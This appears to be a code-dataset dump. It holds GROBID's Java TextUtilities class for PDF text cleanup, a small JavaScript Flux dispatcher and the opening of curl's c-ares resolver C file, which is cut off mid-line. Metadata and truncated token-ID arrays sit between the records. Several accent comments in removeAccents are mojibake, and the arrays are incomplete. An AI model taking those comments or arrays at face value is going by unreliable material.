package org.grobid.core.utilities; import org.apache.commons.lang3.StringUtils; import org.grobid.core.analyzers.GrobidAnalyzer; import org.grobid.core.exceptions.GrobidException; import org.grobid.core.layout.LayoutToken; import org.grobid.core.lexicon.Lexicon; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.text.DecimalFormat; import java.text.NumberFormat; import java.util.*; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Class for holding static methods for text processing. * * @author Patrice Lopez */ public class TextUtilities { public static final String punctuations = " •*,:;?.!)-−–\"“”‘’'`$]*\u2666\u2665\u2663\u2660\u00A0"; public static final String fullPunctuations = "(([ •*,:;?.!/))-−–‐«»„\"“”‘’'`$]*\u2666\u2665\u2663\u2660\u00A0"; public static final String restrictedPunctuations = ",:;?.!/-–«»„\"“”‘’'`*\u2666\u2665\u2663\u2660"; public static String delimiters = "\n\r\t\f\u00A0" + fullPunctuations; public static final String OR = "|"; public static final String NEW_LINE = "\n"; public static final String SPACE = " "; public static final String COMMA = ","; public static final String QUOTE = "'"; public static final String END_BRACKET = ")"; public static final String START_BRACKET = "("; public static final String SHARP = "#"; public static final String COLON = ":"; public static final String DOUBLE_QUOTE = "\""; public static final String ESC_DOUBLE_QUOTE = "&quot;"; public static final String LESS_THAN = "<"; public static final String ESC_LESS_THAN = "&lt;"; public static final String GREATER_THAN = ">"; public static final String ESC_GREATER_THAN = "&gt;"; public static final String AND = "&"; public static final String ESC_AND = "&amp;"; public static final String SLASH = "/"; // the magical DOI regular expression... static public final Pattern DOIPattern = Pattern .compile("(10\\.\\d{4,5}\\/[\\S]+[^;,.\\s])"); // a regular expression for arXiv identifiers // see https://arxiv.org/help/arxiv_identifier and https://arxiv.org/help/arxiv_identifier_for_services static public final Pattern arXivPattern = Pattern .compile("(arXiv\\s?(\\.org)?\\s?\\:\\s?\\d{4}\\s?\\.\\s?\\d{4,5}(v\\d+)?)|(arXiv\\s?(\\.org)?\\s?\\:\\s?[ a-zA-Z\\-\\.]*\\s?/\\s?\\d{7}(v\\d+)?)"); // a regular expression for identifying url pattern in text // TODO: maybe find a better regex static public final Pattern urlPattern = Pattern .compile("(?i)(https?|ftp)\\s?:\\s?//\\s?[-A-Z0-9+&@#/%?=~_()|!:,.;]*[-A-Z0-9+&@#/%=~_()|]"); /** * Replace numbers in the string by a dummy character for string distance evaluations * * @param string the string to be processed. * @return Returns the string with numbers replaced by 'X'. */ public static String shadowNumbers(String string) { int i = 0; if (string == null) return string; String res = ""; while (i < string.length()) { char c = string.charAt(i); if (Character.isDigit(c)) res += 'X'; else res += c; i++; } return res; } private static int getLastPunctuationCharacter(String section) { int res = -1; for (int i = section.length() - 1; i >= 0; i--) { if (fullPunctuations.contains("" + section.charAt(i))) { res = i; } } return res; } public static List<LayoutToken> dehyphenize(List<LayoutToken> tokens) { List<LayoutToken> output = new ArrayList<>(); for (int i = 0; i < tokens.size(); i++) { LayoutToken currentToken = tokens.get(i); //the current token is dash checking what's around if (currentToken.getText().equals("-")) { if (doesRequireDehypenisation(tokens, i)) { //Cleanup eventual additional spaces before the hypen that have been already written to the output int z = output.size() - 1; while (z >= 0 && output.get(z).getText().equals(" ")) { String tokenString = output.get(z).getText(); if (tokenString.equals(" ")) { output.remove(z); } z--; } List<Integer> breakLines = new ArrayList<>(); List<Integer> spaces = new ArrayList<>(); int j = i + 1; while (j < tokens.size() && tokens.get(j).getText().equals(" ") || tokens.get(j).getText().equals("\n")) { String tokenString = tokens.get(j).getText(); if (tokenString.equals("\n")) { breakLines.add(j); } if (tokenString.equals(" ")) { spaces.add(j); } j++; } i += breakLines.size() + spaces.size(); } else { output.add(currentToken); List<Integer> breakLines = new ArrayList<>(); List<Integer> spaces = new ArrayList<>(); int j = i + 1; while (j < tokens.size() && tokens.get(j).getText().equals("\n")) { String tokenString = tokens.get(j).getText(); if (tokenString.equals("\n")) { breakLines.add(j); } j++; } i += breakLines.size() + spaces.size(); } } else { output.add(currentToken); } } return output; } /** * Check if the current token (place i), or the hypen, needs to be removed or not. * <p> * It will check the tokens before and after. It will get to the next "non space" tokens and verify * that it's a plain word. If it's not it's keeping the hypen. * <p> * TODO: add the check on the bounding box of the next token to see whether there is really a break line. * TODO: What to do in case of a punctuation is found? */ protected static boolean doesRequireDehypenisation(List<LayoutToken> tokens, int i) { boolean forward = false; boolean backward = false; int j = i + 1; int breakLine = 0; while (j < tokens.size() && (tokens.get(j).getText().equals(" ") || tokens.get(j).getText().equals("\n"))) { String tokenString = tokens.get(j).getText(); if (tokenString.equals("\n")) { breakLine++; } j++; } if (breakLine == 0) { return false; } Pattern onlyLowercaseLetters = Pattern.compile("[a-z]+"); if (j < tokens.size()) { Matcher matcher = onlyLowercaseLetters.matcher(tokens.get(j).getText()); if (matcher.find()) { forward = true; } if (forward) { if(i < 1) { //If nothing before the hypen, but it looks like a forward hypenisation, let's trust it return forward; } int z = i - 1; while (z > 0 && tokens.get(z).getText().equals(" ")) { z--; } Matcher backwardMatcher = Pattern.compile("^[A-Za-z]+$").matcher(tokens.get(z).getText()); if (backwardMatcher.find()) { backward = true; } } } return backward; } public static String dehyphenize(String text) { GrobidAnalyzer analyser = GrobidAnalyzer.getInstance(); final List<LayoutToken> layoutTokens = analyser.tokenizeWithLayoutToken(text); return LayoutTokensUtil.toText(dehyphenize(layoutTokens)); } public static String getLastToken(String section) { String lastToken = section; int lastSpaceIndex = section.lastIndexOf(' '); //The last parenthesis cover the case 'this is a (special-one) case' // where the lastToken before the hypen should be 'special' and not '(special' /* int lastParenthesisIndex = section.lastIndexOf('('); if (lastParenthesisIndex > lastSpaceIndex) lastSpaceIndex = lastParenthesisIndex;*/ if (lastSpaceIndex != -1) { lastToken = section.substring(lastSpaceIndex + 1, section.length()); } else { lastToken = section.substring(0, section.length()); } return lastToken; } public static String getFirstToken(String section) { int firstSpaceIndex = section.indexOf(' '); if (firstSpaceIndex == 0) { return getFirstToken(section.substring(1, section.length())); } else if (firstSpaceIndex != -1) { return section.substring(0, firstSpaceIndex); } else { return section.substring(0, section.length()); } } /** * Text extracted from a PDF is usually hyphenized, which is not desirable. * This version supposes that the end of line are lost and than hyphenation * could appear everywhere. So a dictionary is used to control the recognition * of hyphen. * * @param text the string to be processed without preserved end of lines. * @return Returns the dehyphenized string. * <p> * Deprecated method, not needed anymore since the @newline are preserved thanks to the LayoutTokens * Use dehypenize */ @Deprecated public static String dehyphenizeHard(String text) { if (text == null) return null; String res = ""; text.replaceAll("\n", SPACE); StringTokenizer st = new StringTokenizer(text, "-"); boolean hyphen = false; boolean failure = false; String lastToken = null; while (st.hasMoreTokens()) { String section = st.nextToken().trim(); if (hyphen) { // we get the first token StringTokenizer st2 = new StringTokenizer(section, " ,.);!"); if (st2.countTokens() > 0) { String firstToken = st2.nextToken(); // we check if the composed token is in the lexicon String hyphenToken = lastToken + firstToken; //System.out.println(hyphenToken); /*if (lex == null) featureFactory.loadLexicon();*/ Lexicon lex = Lexicon.getInstance(); if (lex.inDictionary(hyphenToken.toLowerCase()) & !(test_digit(hyphenToken))) { // if yes, it is hyphenization res += firstToken; section = section.substring(firstToken.length(), section.length()); } else { // if not res += "-"; failure = true; } } else { res += "-"; } hyphen = false; } // we get the last token hyphen = true; lastToken = getLastToken(section); if (failure) { res += section; failure = false; } else res += SPACE + section; } res = res.replace(" . ", ". "); res = res.replace(" ", SPACE); return res.trim(); } /** * Levenstein distance between two strings * * @param s the first string to be compared. * @param t the second string to be compared. * @return Returns the Levenshtein distance. */ public static int getLevenshteinDistance(String s, String t) { //if (s == null || t == null) { // throw new IllegalArgumentException("Strings must not be null"); //} int n = s.length(); // length of s int m = t.length(); // length of t if (n == 0) { return m; } else if (m == 0) { return n; } int p[] = new int[n + 1]; //'previous' cost array, horizontally int d[] = new int[n + 1]; // cost array, horizontally int _d[]; //placeholder to assist in swapping p and d // indexes into strings s and t int i; // iterates through s int j; // iterates through t char t_j; // jth character of t int cost; // cost for (i = 0; i <= n; i++) { p[i] = i; } for (j = 1; j <= m; j++) { t_j = t.charAt(j - 1); d[0] = j; for (i = 1; i <= n; i++) { cost = s.charAt(i - 1) == t_j ? 0 : 1; // minimum of cell to the left+1, to the top+1, diagonally left and up +cost d[i] = Math.min(Math.min(d[i - 1] + 1, p[i] + 1), p[i - 1] + cost); } // copy current distance counts to 'previous row' distance counts _d = p; p = d; d = _d; } // our last action in the above loop was to switch d and p, so p now // actually has the most recent cost counts return p[n]; } /** * Appending nb times the char c to the a StringBuffer... */ public final static void appendN(StringBuffer buffer, char c, int nb) { for (int i = 0; i < nb; i++) { buffer.append(c); } } /** * To replace accented characters in a unicode string by unaccented equivalents: * é -> e, ü -> ue, ß -> ss, etc. following the standard transcription conventions * * @param input the string to be processed. * @return Returns the string without accent. */ public final static String removeAccents(String input) { if (input == null) return null; final StringBuffer output = new StringBuffer(); for (int i = 0; i < input.length(); i++) { switch (input.charAt(i)) { case '\u00C0': // À case '\u00C1': // Á case '\u00C2': //  case '\u00C3': // à case '\u00C5': // Ã… output.append("A"); break; case '\u00C4': // Ä case '\u00C6': // Æ output.append("AE"); break; case '\u00C7': // Ç output.append("C"); break; case '\u00C8': // È case '\u00C9': // É case '\u00CA': // Ê case '\u00CB': // Ë output.append("E"); break; case '\u00CC': // ÃŒ case '\u00CD': // Í case '\u00CE': // ÃŽ case '\u00CF': // Ï output.append("I"); break; case '\u00D0': // Ð output.append("D"); break; case '\u00D1': // Ñ output.append("N"); break; case '\u00D2': // Ã’ case '\u00D3': // Ó case '\u00D4': // Ô case '\u00D5': // Õ case '\u00D8': // Ø output.append("O"); break; case '\u00D6': // Ö case '\u0152': // Å’ output.append("OE"); break; case '\u00DE': // Þ output.append("TH"); break; case '\u00D9': // Ù case '\u00DA': // Ú case '\u00DB': // Û output.append("U"); break; case '\u00DC': // Ü output.append("UE"); break; case '\u00DD': // Ý case '\u0178': // Ÿ output.append("Y"); break; case '\u00E0': // à case '\u00E1': // á case '\u00E2': // â case '\u00E3': // ã case '\u00E5': // Ã¥ output.append("a"); break; case '\u00E4': // ä case '\u00E6': // æ output.append("ae"); break; case '\u00E7': // ç output.append("c"); break; case '\u00E8': // è case '\u00E9': // é case '\u00EA': // ê case '\u00EB': // ë output.append("e"); break; case '\u00EC': // ì case '\u00ED': // à case '\u00EE': // î case '\u00EF': // ï output.append("i"); break; case '\u00F0': // ð output.append("d"); break; case '\u00F1': // ñ output.append("n"); break; case '\u00F2': // ò case '\u00F3': // ó case '\u00F4': // ô case '\u00F5': // õ case '\u00F8': // ø output.append("o"); break; case '\u00F6': // ö case '\u0153': // Å“ output.append("oe"); break; case '\u00DF': // ß output.append("ss"); break; case '\u00FE': // þ output.append("th"); break; case '\u00F9': // ù case '\u00FA': // ú case '\u00FB': // û output.append("u"); break; case '\u00FC': // ü output.append("ue"); break; case '\u00FD': // ý case '\u00FF': // ÿ output.append("y"); break; default: output.append(input.charAt(i)); break; } } return output.toString(); } // ad hoc stopword list for the cleanField method public final static List<String> stopwords = Arrays.asList("the", "of", "and", "du", "de le", "de la", "des", "der", "an", "und"); /** * Remove useless punctuation at the end and beginning of a metadata field. * <p/> * Still experimental ! Use with care ! */ public final static String cleanField(String input0, boolean applyStopwordsFilter) { if (input0 == null) { return null; } if (input0.length() == 0) { return null; } String input = input0.replace(",,", ","); input = input.replace(", ,", ","); int n = input.length(); // characters at the end for (int i = input.length() - 1; i > 0; i--) { char c = input.charAt(i); if ((c == ',') || (c == ' ') || (c == '.') || (c == '-') || (c == '_') || (c == '/') || //(c == ')') || //(c == '(') || (c == ':')) { n = i; } else if (c == ';') { // we have to check if we have an html entity finishing if (i - 3 >= 0) { char c0 = input.charAt(i - 3); if (c0 == '&') { break; } } if (i - 4 >= 0) { char c0 = input.charAt(i - 4); if (c0 == '&') { break; } } if (i - 5 >= 0) { char c0 = input.charAt(i - 5); if (c0 == '&') { break; } } if (i - 6 >= 0) { char c0 = input.charAt(i - 6); if (c0 == '&') { break; } } n = i; } else break; } input = input.substring(0, n); // characters at the begining n = 0; for (int i = 0; i < input.length(); i++) { char c = input.charAt(i); if ((c == ',') || (c == ' ') || (c == '.') || (c == ';') || (c == '-') || (c == '_') || //(c == ')') || //(c == '(') || (c == ':')) { n = i; } else break; } input = input.substring(n, input.length()).trim(); if ((input.endsWith(")")) && (input.startsWith("("))) { input = input.substring(1, input.length() - 1).trim(); } if ((input.length() > 12) && (input.endsWith("&quot;")) && (input.startsWith("&quot;"))) { input = input.substring(6, input.length() - 6).trim(); } if (applyStopwordsFilter) { boolean stop = false; while (!stop) { stop = true; for (String word : stopwords) { if (input.endsWith(SPACE + word)) { input = input.substring(0, input.length() - word.length()).trim(); stop = false; break; } } } } return input.trim(); } /** * Segment piece of text following a list of segmentation characters. * "hello, world." -> [ "hello", ",", "world", "." ] * * @param input the string to be processed. * @param input the characters creating a segment (typically space and punctuations). * @return Returns the string without accent. */ public final static List<String> segment(String input, String segments) { if (input == null) return null; ArrayList<String> result = new ArrayList<String>(); String token = null; String seg = " \n\t"; for (int i = 0; i < input.length(); i++) { char c = input.charAt(i); int ind = seg.indexOf(c); if (ind != -1) { if (token != null) { result.add(token); token = null; } } else { int ind2 = segments.indexOf(c); if (ind2 == -1) { if (token == null) token = "" + c; else token += c; } else { if (token != null) { result.add(token); token = null; } result.add("" + segments.charAt(ind2)); } } } if (token != null) result.add(token); return result; } /** * Encode a string to be displayed in HTML * <p/> * If fullHTML encode, then all unicode characters above 7 bits are converted into * HTML entitites */ public static String HTMLEncode(String string) { return HTMLEncode(string, false); } public static String HTMLEncode(String string, boolean fullHTML) { if (string == null) return null; if (string.length() == 0) return string; //string = string.replace("@BULLET", "•"); StringBuffer sb = new StringBuffer(string.length()); // true if last char was blank boolean lastWasBlankChar = false; int len = string.length(); char c; for (int i = 0; i < len; i++) { c = string.charAt(i); if (c == ' ') { // blank gets extra work, // this solves the problem you get if you replace all // blanks with &nbsp;, if you do that you loss // word breaking if (lastWasBlankChar) { lastWasBlankChar = false; //sb.append("&nbsp;"); } else { lastWasBlankChar = true; sb.append(' '); } } else { lastWasBlankChar = false; // // HTML Special Chars if (c == '"') sb.append("&quot;"); else if (c == '\'') sb.append("&apos;"); else if (c == '&') { boolean skip = false; // we don't want to recode an existing hmlt entity if (string.length() > i + 3) { char c2 = string.charAt(i + 1); char c3 = string.charAt(i + 2); char c4 = string.charAt(i + 3); if (c2 == 'a') { if (c3 == 'm') { if (c4 == 'p') { if (string.length() > i + 4) { char c5 = string.charAt(i + 4); if (c5 == ';') { skip = true; } } } } } else if (c2 == 'q') { if (c3 == 'u') { if (c4 == 'o') { if (string.length() > i + 5) { char c5 = string.charAt(i + 4); char c6 = string.charAt(i + 5); if (c5 == 't') { if (c6 == ';') { skip = true; } } } } } } else if (c2 == 'l' || c2 == 'g') { if (c3 == 't') { if (c4 == ';') { skip = true; } } } } if (!skip) { sb.append("&amp;"); } else { sb.append("&"); } } else if (c == '<') sb.append("&lt;"); else if (c == '>') sb.append("&gt;"); /*else if (c == '\n') { // warning: this can be too much html! sb.append("&lt;br/&gt;"); }*/ else { int ci = 0xffff & c; if (ci < 160) { // nothing special only 7 Bit sb.append(c); } else { if (fullHTML) { // Not 7 Bit use the unicode system sb.append("&#"); sb.append(Integer.valueOf(ci).toString()); sb.append(';'); } else sb.append(c); } } } } return sb.toString(); } public static String normalizeRegex(String string) { string = string.replace("&", "\\\\&"); string = string.replace("&", "\\\\&"); string = string.replace("+", "\\\\+"); return string; } /* * To convert the InputStream to String we use the BufferedReader.readLine() * method. We iterate until the BufferedReader return null which means * there's no more data to read. Each line will appended to a StringBuilder * and returned as String. */ static public String convertStreamToString(InputStream is) { BufferedReader reader = new BufferedReader(new InputStreamReader(is)); StringBuilder sb = new StringBuilder(); String line = null; try { while ((line = reader.readLine()) != null) { sb.append(line + "\n"); } } catch (IOException e) { // e.printStackTrace(); throw new GrobidException("An exception occured while running Grobid.", e); } finally { try { is.close(); } catch (IOException e) { // e.printStackTrace(); throw new GrobidException("An exception occured while running Grobid.", e); } } return sb.toString(); } /** * Count the number of digit in a given string. * * @param text the string to be processed. * @return Returns the number of digit chracaters in the string... */ static public int countDigit(String text) { int count = 0; for (int i = 0; i < text.length(); i++) { char c = text.charAt(i); if (Character.isDigit(c)) count++; } return count; } /** * Map special ligature and characters coming from the pdf */ static public String clean(String token) { if (token == null) return null; if (token.length() == 0) return token; String res = ""; int i = 0; while (i < token.length()) { switch (token.charAt(i)) { // ligature case '\uFB00': { res += "ff"; break; } case '\uFB01': { res += "fi"; break; } case '\uFB02': { res += "fl"; break; } case '\uFB03': { res += "ffi"; break; } case '\uFB04': { res += "ffl"; break; } case '\uFB06': { res += "st"; break; } case '\uFB05': { res += "ft"; break; } case '\u00E6': { res += "ae"; break; } case '\u00C6': { res += "AE"; break; } case '\u0153': { res += "oe"; break; } case '\u0152': { res += "OE"; break; } // quote case '\u201C': { res += "\""; break; } case '\u201D': { res += "\""; break; } case '\u201E': { res += "\""; break; } case '\u201F': { res += "\""; break; } case '\u2019': { res += "'"; break; } case '\u2018': { res += "'"; break; } // bullet uniformity case '\u2022': { res += "•"; break; } case '\u2023': { res += "•"; break; } case '\u2043': { res += "•"; break; } case '\u204C': { res += "•"; break; } case '\u204D': { res += "•"; break; } case '\u2219': { res += "•"; break; } case '\u25C9': { res += "•"; break; } case '\u25D8': { res += "•"; break; } case '\u25E6': { res += "•"; break; } case '\u2619': { res += "•"; break; } case '\u2765': { res += "•"; break; } case '\u2767': { res += "•"; break; } case '\u29BE': { res += "•"; break; } case '\u29BF': { res += "•"; break; } // asterix case '\u2217': { res += " * "; break; } // typical author/affiliation markers case '\u2020': { res += SPACE + '\u2020'; break; } case '\u2021': { res += SPACE + '\u2021'; break; } case '\u00A7': { res += SPACE + '\u00A7'; break; } case '\u00B6': { res += SPACE + '\u00B6'; break; } case '\u204B': { res += SPACE + '\u204B'; break; } case '\u01C2': { res += SPACE + '\u01C2'; break; } // default default: { res += token.charAt(i); break; } } i++; } return res; } public static String formatTwoDecimals(double d) { NumberFormat nf = NumberFormat.getNumberInstance(Locale.US); DecimalFormat df = (DecimalFormat) nf; df.applyPattern("#.##"); return df.format(d); } public static String formatFourDecimals(double d) { NumberFormat nf = NumberFormat.getNumberInstance(Locale.US); DecimalFormat df = (DecimalFormat) nf; df.applyPattern("#.####"); return df.format(d); } public static boolean isAllUpperCase(String text) { for (int i = 0; i < text.length(); i++) { if (!Character.isUpperCase(text.charAt(i))) { return false; } } return true; } public static boolean isAllLowerCase(String text) { for (int i = 0; i < text.length(); i++) { if (!Character.isLowerCase(text.charAt(i))) { return false; } } return true; } public static List<String> generateEmailVariants(String firstName, String lastName) { // current heuristics: // "First Last" // "First L" // "F Last" // "First" // "Last" // "Last First" // "Last F" List<String> variants = new ArrayList<String>(); if (lastName != null) { variants.add(lastName); if (firstName != null) { variants.add(firstName + SPACE + lastName); variants.add(lastName + SPACE + firstName); if (firstName.length() > 1) { String firstInitial = firstName.substring(0, 1); variants.add(firstInitial + SPACE + lastName); variants.add(lastName + SPACE + firstInitial); } if (lastName.length() > 1) { String lastInitial = lastName.substring(0, 1); variants.add(firstName + SPACE + lastInitial); } } } else { if (firstName != null) { variants.add(firstName); } } return variants; } /** * This is a re-implementation of the capitalizeFully of Apache commons lang, because it appears not working * properly. * <p/> * Convert a string so that each word is made up of a titlecase character and then a series of lowercase * characters. Words are defined as token delimited by one of the character in delimiters or the begining * of the string. */ public static String capitalizeFully(String input, String delimiters) { if (input == null) { return null; } //input = input.toLowerCase(); String output = ""; boolean toUpper = true; for (int c = 0; c < input.length(); c++) { char ch = input.charAt(c); if (delimiters.indexOf(ch) != -1) { toUpper = true; output += ch; } else { if (toUpper == true) { output += Character.toUpperCase(ch); toUpper = false; } else { output += Character.toLowerCase(ch); } } } return output; } public static String wordShape(String word) { StringBuilder shape = new StringBuilder(); for (char c : word.toCharArray()) { if (Character.isLetter(c)) { if (Character.isUpperCase(c)) { shape.append("X"); } else { shape.append("x"); } } else if (Character.isDigit(c)) { shape.append("d"); } else { shape.append(c); } } StringBuilder finalShape = new StringBuilder().append(shape.charAt(0)); String suffix = ""; if (word.length() > 2) { suffix = shape.substring(shape.length() - 2); } else if (word.length() > 1) { suffix = shape.substring(shape.length() - 1); } StringBuilder middle = new StringBuilder(); if (shape.length() > 3) { char ch = shape.charAt(1); for (int i = 1; i < shape.length() - 2; i++) { middle.append(ch); while (ch == shape.charAt(i) && i < shape.length() - 2) { i++; } ch = shape.charAt(i); } if (ch != middle.charAt(middle.length() - 1)) { middle.append(ch); } } return finalShape.append(middle).append(suffix).toString(); } public static String wordShapeTrimmed(String word) { StringBuilder shape = new StringBuilder(); for (char c : word.toCharArray()) { if (Character.isLetter(c)) { if (Character.isUpperCase(c)) { shape.append("X"); } else { shape.append("x"); } } else if (Character.isDigit(c)) { shape.append("d"); } else { shape.append(c); } } StringBuilder middle = new StringBuilder(); char ch = shape.charAt(0); for (int i = 0; i < shape.length(); i++) { middle.append(ch); while (ch == shape.charAt(i) && i < shape.length() - 1) { i++; } ch = shape.charAt(i); } if (ch != middle.charAt(middle.length() - 1)) { middle.append(ch); } return middle.toString(); } /** * Give the punctuation profile of a line, i.e. the concatenation of all the punctuations * occuring in the line. * * @param line the string corresponding to a line * @return the punctuation profile as a string, empty string is no punctuation * @throws Exception */ public static String punctuationProfile(String line) { String profile = ""; if ((line == null) || (line.length() == 0)) { return profile; } for (int i = 0; i < line.length(); i++) { char c = line.charAt(i); if (c == ' ') { continue; } if (fullPunctuations.indexOf(c) != -1) profile += c; } return profile; } /** * Return the number of token in a line given an existing global tokenization and a current * start position of the line in this global tokenization. * * @param line the string corresponding to a line * @param currentLinePos position of the line in the tokenization * @param tokenization the global tokenization where the line appears * @return the punctuation profile as a string, empty string is no punctuation * @throws Exception */ public static int getNbTokens(String line, int currentLinePos, List<String> tokenization) throws Exception { if ((line == null) || (line.length() == 0)) return 0; String currentToken = tokenization.get(currentLinePos); while ((currentLinePos < tokenization.size()) && (currentToken.equals(" ") || currentToken.equals("\n"))) { currentLinePos++; currentToken = tokenization.get(currentLinePos); } if (!line.trim().startsWith(currentToken)) { System.out.println("out of sync. : " + currentToken); throw new IllegalArgumentException("line start does not match given tokenization start"); } int nbTokens = 0; int posMatch = 0; // current position in line for (int p = currentLinePos; p < tokenization.size(); p++) { currentToken = tokenization.get(p); posMatch = line.indexOf(currentToken, posMatch); if (posMatch == -1) break; nbTokens++; } return nbTokens; } /** * Ensure that special XML characters are correctly encoded. */ public static String trimEncodedCharaters(String string) { return string.replaceAll("&amp\\s+;", "&amp;"). replaceAll("&quot\\s+;|&amp;quot\\s*;", "&quot;"). replaceAll("&lt\\s+;|&amp;lt\\s*;", "&lt;"). replaceAll("&gt\\s+;|&amp;gt\\s*;", "&gt;"). replaceAll("&apos\\s+;|&amp;apos\\s*;", "&apos;"); } public static boolean filterLine(String line) { boolean filter = false; if ((line == null) || (line.length() == 0)) filter = true; else if (line.contains("@IMAGE") || line.contains("@PAGE")) { filter = true; } else if (line.contains(".pbm") || line.contains(".ppm") || line.contains(".svg") || line.contains(".jpg") || line.contains(".png")) { filter = true; } return filter; } /** * The equivalent of String.replaceAll() for StringBuilder */ public static StringBuilder replaceAll(StringBuilder sb, String regex, String replacement) { Pattern pattern = Pattern.compile(regex); Matcher m = pattern.matcher(sb); int start = 0; while (m.find(start)) { sb.replace(m.start(), m.end(), replacement); start = m.start() + replacement.length(); } return sb; } /** * Return the prefix of a string. */ public static String prefix(String s, int count) { if (s == null) { return null; } if (s.length() < count) { return s; } return s.substring(0, count); } /** * Return the suffix of a string. */ public static String suffix(String s, int count) { if (s == null) { return null; } if (s.length() < count) { return s; } return s.substring(s.length() - count); } public static String JSONEncode(String json) { // we assume all json string will be bounded by double quotes return json.replaceAll("\"", "\\\"").replaceAll("\n", "\\\n"); } public static String strrep(char c, int times) { StringBuilder builder = new StringBuilder(); for (int i = 0; i < times; i++) { builder.append(c); } return builder.toString(); } public static int getOccCount(String term, String string) { return StringUtils.countMatches(term, string); } /** * Test for the current string contains at least one digit. * * @param tok the string to be processed. * @return true if contains a digit */ public static boolean test_digit(String tok) { if (tok == null) return false; if (tok.length() == 0) return false; char a; for (int i = 0; i < tok.length(); i++) { a = tok.charAt(i); if (Character.isDigit(a)) return true; } return false; } /** * Useful for recognising an acronym candidate: check if a text is only * composed of upper case, dot and digit characters */ public static boolean isAllUpperCaseOrDigitOrDot(String text) { for (int i = 0; i < text.length(); i++) { final char charAt = text.charAt(i); if (!Character.isUpperCase(charAt) && !Character.isDigit(charAt) && charAt != '.') { return false; } } return true; } }
alexduch/grobid
grobid-core/src/main/java/org/grobid/core/utilities/TextUtilities.java
Java
apache-2.0
47,103
[ 30522, 7427, 8917, 1012, 24665, 16429, 3593, 1012, 4563, 1012, 16548, 1025, 12324, 8917, 1012, 15895, 1012, 7674, 1012, 11374, 2509, 1012, 5164, 21823, 4877, 1025, 12324, 8917, 1012, 24665, 16429, 3593, 1012, 4563, 1012, 17908, 2869, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
var Dispatcher = require('flux').Dispatcher; var assign = require('object-assign') var AppDispatcher = assign(new Dispatcher(), { handleViewAction: function(action) { this.dispatch({ actionType: 'VIEW_ACTION', action: action }); }, handleServerAction: function(action) { this.dispatch({ actionType: 'SERVER_ACTION', action: action }); } }); module.exports = AppDispatcher;
kwbock/todos-react
app/assets/javascripts/dispatchers/app-dispatcher.js
JavaScript
mit
424
[ 30522, 13075, 18365, 2121, 1027, 5478, 1006, 1005, 19251, 1005, 1007, 1012, 30524, 2121, 1006, 1007, 1010, 1063, 5047, 8584, 18908, 3258, 1024, 3853, 1006, 2895, 1007, 1063, 2023, 1012, 18365, 1006, 1063, 2895, 13874, 1024, 1005, 3193, 1035...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/*************************************************************************** * _ _ ____ _ * Project ___| | | | _ \| | * / __| | | | |_) | | * | (__| |_| | _ <| |___ * \___|\___/|_| \_\_____| * * Copyright (C) 1998 - 2013, Daniel Stenberg, <daniel@haxx.se>, et al. * * This software is licensed as described in the file COPYING, which * you should have received as part of this distribution. The terms * are also available at http://curl.haxx.se/docs/copyright.html. * * You may opt to use, copy, modify, merge, publish, distribute and/or sell * copies of the Software, and permit persons to whom the Software is * furnished to do so, under the terms of the COPYING file. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * ***************************************************************************/ #include "curl_setup.h" #ifdef HAVE_LIMITS_H #include <limits.h> #endif #ifdef HAVE_NETINET_IN_H #include <netinet/in.h> #endif #ifdef HAVE_NETDB_H #include <netdb.h> #endif #ifdef HAVE_ARPA_INET_H #include <arpa/inet.h> #endif #ifdef __VMS #include <in.h> #include <inet.h> #endif #ifdef HAVE_PROCESS_H #include <process.h> #endif #if (defined(NETWARE) && defined(__NOVELL_LIBC__)) #undef in_addr_t #define in_addr_t unsigned long #endif /*********************************************************************** * Only for ares-enabled builds * And only for functions that fulfill the asynch resolver backend API * as defined in asyn.h, nothing else belongs in this file! **********************************************************************/ #ifdef CURLRES_ARES #include "urldata.h" #include "sendf.h" #include "hostip.h" #include "hash.h" #include "share.h" #include "strerror.h" #include "url.h" #include "multiif.h" #include "inet_pton.h" #include "connect.h" #include "select.h" #include "progress.h" #define _MPRINTF_REPLACE /* use our functions only */ #include <curl/mprintf.h> # if defined(CURL_STATICLIB) && !defined(CARES_STATICLIB) && \ (defined(WIN32) || defined(_WIN32) || defined(__SYMBIAN32__)) # define CARES_STATICLIB # endif # include <ares.h> # include <ares_version.h> /* really old c-ares didn't include this by itself */ #if ARES_VERSION >= 0x010500 /* c-ares 1.5.0 or later, the callback proto is modified */ #define 